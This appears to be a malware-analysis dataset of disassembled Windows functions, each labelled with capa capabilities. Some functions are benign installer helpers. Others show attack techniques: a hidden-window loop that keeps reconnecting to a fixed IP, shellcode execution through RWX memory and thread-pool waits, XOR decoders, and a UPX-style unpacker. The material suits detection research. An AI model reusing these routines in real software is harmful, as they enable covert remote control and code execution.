joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x40136d
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 2
nop word [eax + eax]
push 0x1388
mov word [ebp - 0x14], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x10]
push eax
push str.192.168.3.2
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40135a
push esi
call ebx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push 1
push 2
call edi
mov esi, eax
mov ecx, 2
cmp esi, 0xffffffff
je 0x40136d
jmp 0x401300
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040186c
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_socket
lea ecx, [ebp - 0x20]
call fcn.00401170
push 0x40390c
lea eax, [ebp - 0x20]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x401670
Capabilities:
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x194], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004012c0
mov ecx, eax
call fcn.00401390
int3

Function at 0x40210c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40214b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40214b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40214b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40214b
cmp dword [ecx + 0x74], 0xe
jbe 0x40214b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x5544d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov edx, 0x653b30
call fcn.0040ea90
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.005544c0
push ebp
push 0x414aa0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0xc]
lea eax, [eax + 0x34]
mov edx, 0
call fcn.00408b80
mov eax, dword [ebp - 0xc]
mov edx, fcn.004e0b10
mov dword [eax + 0x2c], edx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
mov dword [edx + 0x24], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [edx + 0x28], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
lea ecx, [ebp - 0x10]
mov dx, 0
call fcn.004094d0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
lea eax, [eax + 0x30]
call fcn.00408b80
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [edx + 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
mov dword [edx + 0x10], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
mov dword [edx + 0x18], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 0xc]
lea ecx, [eax + 0x10]
mov eax, dword [ebp - 0xc]
lea edx, [eax + 0xc]
mov eax, dword [ebp - 4]
call fcn.00552440
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00554b60
mov eax, dword [ebp - 4]
test dword [eax + 0x28], 0x10
je 0x5545d5
jmp 0x5545f4
mov eax, dword [ebp - 4]
call fcn.00502f40
test al, al
je 0x5545e3
jmp 0x5545f4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x24]
or eax, 0x8000000
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x24], eax
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.005544c0
mov esp, ebp
pop ebp
ret

Function at 0x438c80
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop edi
sub eax, edx
push 0x41fddfac
mov eax, dword [esp]
add esp, 4
add edx, eax
call fcn.00438cbc
add eax, 0x42bc9855
or eax, edx
or eax, eax
xor dword [esi], edi
inc edx
inc esi
and edx, edx
cmp esi, ecx
jne fcn.00438c80
dec edx
add eax, 0xbed2cdde
sub eax, edx
ret
Function at 0x1020d99
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
push edi
push 7
pop ecx
xor eax, eax
test esi, esi
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
push 0x1e
pop ecx
stosw word es:[edi], ax
mov word [ebp - 0x20], cx
je 0x1020dd9
mov ax, word [esi]
cmp ax, cx
jae 0x1020dc8
movzx ecx, ax
mov eax, ecx
shr ecx, 2
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x1027bf4], 0
jne 0x1020df8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0102046f
test eax, eax
je 0x1020f22
test byte [ebp - 0x1d], 1
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push ebx
mov ebx, 0x1025850
mov edi, 0x100326c
je 0x1020e1a
xor eax, eax
cmp word [ebp - 8], ax
setne al
jmp 0x1020e2b
push ebx
push 0
push 0x1002eb8
push edi
call esi
neg eax
sbb eax, eax
neg eax
mov dword [0x1027be4], eax
call dword [sym.imp.WINMM.dll_waveOutGetNumDevs]
test eax, eax
jne 0x1020e6c
cmp dword [0x1027be4], eax
je 0x1020e65
push 0x1003378
mov esi, str.WaveMix_V_2.3_by_Angel_M._Diaz__Jr.__c__Microsoft_1993_1995
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
push 0x40
push 0x10028d0
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1020f21
push ebx
xor ebx, ebx
push ebx
push 0x100336c
push edi
call esi
test eax, eax
je 0x1020e81
call fcn.0101f13d
push 0x1c0
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, eax
cmp edx, ebx
mov dword [0x1027be0], edx
je 0x1020e65
mov eax, dword [0x1025968]
push 0x10
pop ecx
mov dword [edx + 0x1ac], eax
mov word [edx + 0x1bc], 0x5432
mov word [edx], 0x5432
mov dword [edx + 0x198], ebx
mov dword [edx + 0x14], ebx
mov word [edx + 0xb0], 0xa
mov word [edx + 0xb2], 0xa
lea edi, [edx + 0xf4]
push 0x10
add edx, 0x17c
or eax, 0xffffffff
push 0x10028c0
push edx
rep stosd dword es:[edi], eax
call dword [sym.imp.msvcrt.dll_memmove]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call fcn.01020a36
test eax, eax
jne 0x1020f1c
mov eax, dword [0x1027be0]
push eax
mov word [eax + 0x1bc], bx
mov word [eax], bx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x1027be0], ebx
mov eax, dword [0x1027be0]
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x104aa98
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esi, [esi + ecx*2]
push ebx
movzx eax, word [esi]
pop esi
jmp 0x104aa28
sub dword [esp], eax
pop eax
cmp byte [edi], 1
ja 0x104aab6
jmp 0x104aa72
lea esi, [ebx]
add esi, dword [edx + 0x24]
add edi, dword [edx + 0x1c]
jmp 0x104a81d
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
push 0xffffffffffffffff
add esi, dword [edx + 0x20]
jmp 0x104a93a
pop ecx
inc ecx
lodsd eax, dword [esi]
cmp ecx, dword [edx + 0x18]
jmp 0x104aad3
ret
add esi, dword [edi + eax*4]
ret 4
xor eax, 0xadc3506f
sbb eax, dword [esp + 4]
jne 0x104a93b
lea edi, [ebx]
jmp 0x104a8cf
mov edx, ebx
mov esi, ebx
mov eax, ebx
jmp 0x104a8ec
imul eax, eax, 0xf
push eax
movzx eax, byte [edi]
lea edi, [edi + 1]
jmp 0x104a851
lea edi, [eax + ebx]
je 0x104a9e0
push 0
pop eax
jmp 0x104aab6
Function at 0x10005a00
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x214
mov eax, dword [0x100130c0]
test eax, eax
je 0x10005ab8
mov dword [esp], ebx
call eax
sub esp, 4
test eax, eax
mov dword [ebx + 8], eax
jns 0x10005a40
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x214]
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.MODULE
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], str.SystemRoot
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.SystemRoot
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
jmp 0x10005a2c
mov dword [esp], str.atl100.dll
call dword [sym.imp.kernel32.dll_LoadLibraryW]
sub esp, 4
test eax, eax
je 0x10005aed
mov dword [esp + 4], str.AtlCreateRegistrar
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
sub esp, 8
mov dword [0x100130c0], eax
test eax, eax
jne 0x10005a1d
mov dword [ebx + 8], 0x80004002
xor eax, eax
jmp 0x10005a2e
Function at 0x53b080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe4000]
push edi
jmp 0x53b09a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x53b0a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53b090
mov eax, 1
add ebx, ebx
jne 0x53b0b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x53b0c4
jne 0x53b0e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53b0e3
dec eax
add ebx, ebx
jne 0x53b0d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x53b0a8
add ebx, ebx
jne 0x53b0df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x53b135
xor ecx, ecx
sub eax, 3
jb 0x53b0fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53b16a
sar eax, 1
mov ebp, eax
jmp 0x53b106
add ebx, ebx
jne 0x53b106
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53b0d4
inc ecx
add ebx, ebx
jne 0x53b114
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53b0d4
add ebx, ebx
jne 0x53b121
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x53b116
jne 0x53b132
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x53b116
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x53b154
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x53b146
jmp 0x53b096
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x53b154
add edi, ecx
jmp 0x53b096
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x53b172
cmp byte [edi], 0x11
jne 0x53b172
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x53b177
lea edi, [esi + 0x134000]
mov eax, dword [edi]
or eax, eax
je 0x53b1ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19d31c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19d498]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x53b1a4
mov ecx, edi
jns 0x53b1d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19d49c]
or eax, eax
je 0x53b1e9
mov dword [ebx], eax
add ebx, 4
jmp 0x53b1c1
call dword [esi + 0x19d4ac]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x53b220
cmp al, 0xef
ja 0x53b213
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x53b1f5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x53b202
mov ebp, dword [esi + 0x19d4a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x53b254
sub esp, 0xffffff80
jmp 0x42800a
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x719
push 0x10003058
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0x10003058
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10001068
mov esp, ebp
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401488
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x42be10]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x40151d
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014da
cmp dword [ebp + 0x10], ebx
jne 0x401511
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.00401488
test eax, eax
jne 0x4014ec
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014c1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004064a8
cmp eax, ebx
je 0x401524
push ebx
push dword [0x42be10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40151d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42be10], ebx
jne 0x40151a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x40151a
jmp 0x40151d
Function at 0x4034ca
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, esi
jl 0x4034f4
mov ecx, dword [0x42bd78]
push esi
add eax, ecx
push esi
push eax
push dword [0x40b014]
mov dword [0x41d9bc], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403363
cmp eax, esi
jl 0x4035d1
push 4
lea eax, [ebp + 8]
push eax
push dword [0x40b014]
call fcn.00405fbf
test eax, eax
jne 0x403520
push 0xfffffffffffffffd
pop eax
jmp 0x4035d1
add dword [0x41d9bc], 4
push ebx
push dword [ebp + 8]
call fcn.00403363
mov ebx, eax
cmp ebx, esi
jl 0x4035ce
cmp dword [ebp + 0x10], esi
jne 0x40359c
cmp dword [ebp + 8], esi
jle 0x4035ce
mov esi, 0x41d9c0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40355e
mov eax, 0x4000
push eax
push esi
push dword [0x40b014]
mov dword [ebp - 4], eax
call fcn.00405fbf
test eax, eax
je 0x4035c0
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405fee
test eax, eax
je 0x403598
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x41d9bc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x40354d
jmp 0x4035ce
push 0xfffffffffffffffe
jmp 0x4035c2
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x4035a7
mov eax, dword [ebp + 0x14]
push esi
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4035c5
push 0xfffffffffffffffd
pop eax
jmp 0x4035d0
mov ebx, dword [ebp - 4]
add dword [0x41d9bc], ebx
mov eax, ebx
pop ebx
pop esi
leave
ret 0x10
Function at 0x405c84
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov eax, 0x4095d0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov byte [ebp - 0x20], 1
mov byte [ebp - 0x1f], 0
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4095c0
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405cd4
xor eax, eax
jmp 0x405d01
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405d00
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
je 0x405cfe
xor eax, eax
jmp 0x405d00
call esi
pop esi
leave
ret 4

Function at 0x405d22
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x426210
xor eax, eax
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x426210], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405d61
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405f16
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f36
and eax, 0xfffffffe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405f3c
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
inc ecx
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x405f6b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x4096ac]
mov dword [ebp - 8], eax
mov eax, dword [0x4096b0]
dec edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x405fbb
test edi, edi
jne 0x405f78
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405fb5
Function at 0x406096
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor edi, edi
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push edi
push dword [ebp + 0xc]
mov word [esi], di
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40610a
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push edi
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x800
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4060f7
cmp dword [ebp + 0x14], 1
je 0x4060fa
cmp dword [ebp + 0x14], 2
je 0x4060fa
mov word [esi], di
push dword [ebp + 0x18]
mov word [esi + 0x7fe], di
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
ret 0x14

Function at 0x406438
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40645c
xor eax, eax
test eax, eax
je 0x40646f
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40646f
xor ecx, ecx
jmp 0x406472
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x4087a4]
push ecx
lea eax, [ebp + eax*2 - 0x23c]
push 0x40980c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 8
push 0
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x40656f
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405f16
mov edi, eax
cmp edi, 0xffffffff
je 0x4065b0
test byte [esp + 0x10], 1
push esi
je 0x406599
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x4065a1
xor eax, eax
inc eax
jmp 0x4065b2
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406590
test byte [esp + 0x10], 4
jne 0x4065b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8

Function at 0x406612
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x426258
push esi
call fcn.004061c9
push esi
call fcn.00405e3f
mov edi, eax
test edi, edi
jne 0x406633
xor eax, eax
jmp 0x406691
push edi
call fcn.004061eb
test byte [0x42bd88], 0x80
je 0x406650
movzx eax, word [edi]
test ax, ax
je 0x40662f
cmp ax, 0x5c
je 0x40662f
sub edi, esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sar edi, 1
jmp 0x406672
push esi
call fcn.00406411
test eax, eax
je 0x40666c
test byte [eax], 0x10
je 0x406696
push esi
call fcn.004065e6
push esi
call ebx
cmp eax, edi
jg 0x40665d
push esi
call fcn.004065b7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x406690